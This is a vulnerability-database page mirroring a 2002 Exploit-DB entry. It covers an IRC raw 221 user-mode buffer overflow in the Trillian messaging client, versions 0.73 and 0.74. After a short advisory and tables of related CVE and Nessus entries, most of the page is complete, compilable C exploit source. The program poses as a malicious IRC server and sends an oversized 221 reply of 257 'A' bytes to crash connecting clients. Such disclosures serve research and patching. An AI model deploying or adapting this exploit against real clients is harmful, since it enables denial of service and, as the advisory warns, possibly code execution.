Lucene search
+L

Trillian 0.725/0.73/0.74 - IRC User Mode Numeric Remote Buffer Overflow

🗓️ 21 Sep 2002 00:00:00Reported by Lance Fitz-HerbertType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 46 Views

Trillian versions 0.725 to 0.74 have a buffer overflow vulnerability in IRC user mode handling.

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
Trillian IRC User Mode Numeric Remote Overflow
20 Aug 200400:00
nessus
Tenable Nessus
Trillian IRC Oversized Data Block Remote Overflow DoS
20 Aug 200400:00
nessus
Tenable Nessus
Trillian IRC JOIN Remote Overflow
20 Aug 200400:00
nessus
CVE
CVE-2002-1486
18 Mar 200305:00
cve
Cvelist
CVE-2002-1486
18 Mar 200305:00
cvelist
Exploit DB
Trillian 0.6351/0.7x - Identd Buffer Overflow
18 Sep 200200:00
exploitdb
Exploit DB
Trillian 0.73/0.74 - IRC PRIVMSG Buffer Overflow
19 Sep 200200:00
exploitdb
Exploit DB
Trillian 0.73/0.74 - IRC JOIN Buffer Overflow
20 Sep 200200:00
exploitdb
Exploit DB
Trillian 0.74 - IRC Oversized Data Block Buffer Overflow
22 Sep 200200:00
exploitdb
NVD
CVE-2002-1486
2 Apr 200305:00
nvd
Rows per page
// source: https://www.securityfocus.com/bid/5769/info

Trillian is an instant messaging client that supports a number of protocols (including IRC, ICQ, MSN). It is available for Microsoft Windows systems.

It has been reported that Trillian does not perform adequate bounds checking when receiving IRC raw user mode messages. When a Trillian client receives an instruction from a server for a raw user mode change containing 251 or more bytes of data, a buffer overflow occurs. This could result in denial of service, or the execution of arbitrary attacker supplied instructions.

/* Trillian-221.c
   Author: Lance Fitz-Herbert
   Contact: IRC: Phrizer, DALnet - #KORP
            ICQ: 23549284

   Exploits the Trillian "Raw 221" Flaw.
   Tested On Version .74 and .73
   Compiles with Borland 5.5 Commandline Tools.

   This Example Will Just DoS The Trillian Client,
   not particularly useful, just proves the flaw exists.

   Greets: AnAh, Hooves.
*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <winsock.h>

SOCKET s;

#define MSG1 ":server 221 target "

int main() {

        SOCKET TempSock = SOCKET_ERROR;
        WSADATA WsaDat;
        SOCKADDR_IN Sockaddr;
        int nRet;
        char payload[257];

        printf("\nTrillian Raw 221 Flaw\n");
        printf("---------------------\n");
        printf("Coded By Lance Fitz-Herbert (Phrizer, DALnet/#KORP)\n");
        printf("Tested On Version .74 and .73\nListening On Port 6667 For
Connections\n\n");

        if (WSAStartup(MAKEWORD(1, 1), &WsaDat) != 0) {
                printf("ERROR: WSA Initialization failed.");
                return 0;
        }


        /* Create Socket */
        s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (s == INVALID_SOCKET) {
                printf("ERROR: Could Not Create Socket. Exiting\n");
                WSACleanup();
                return 0;
        }

        Sockaddr.sin_port = htons(6667);
        Sockaddr.sin_family = AF_INET;
        Sockaddr.sin_addr.s_addr  = INADDR_ANY;


        nRet = bind(s, (LPSOCKADDR)&Sockaddr, sizeof(struct sockaddr));
        if (nRet == SOCKET_ERROR) {
                printf("ERROR Binding Socket");
                WSACleanup();
                return 0;
        }

        /* Make Socket Listen */
        if (listen(s, 10) == SOCKET_ERROR) {
                printf("ERROR: Couldnt Make Listening Socket\n");
                WSACleanup();
                return 0;
        }

        while (TempSock == SOCKET_ERROR) {
              TempSock = accept(s, NULL, NULL);
        }

        printf("Client Connected, Sending Payload\n");

        send(TempSock,MSG1,strlen(MSG1),0);
        memset(payload,'A',257);
        send(TempSock,payload,strlen(payload),0);
        send(TempSock,"\n",1,0);

        printf("Exiting\n");
        sleep(100);
        WSACleanup();
        return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Oct 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.09357
46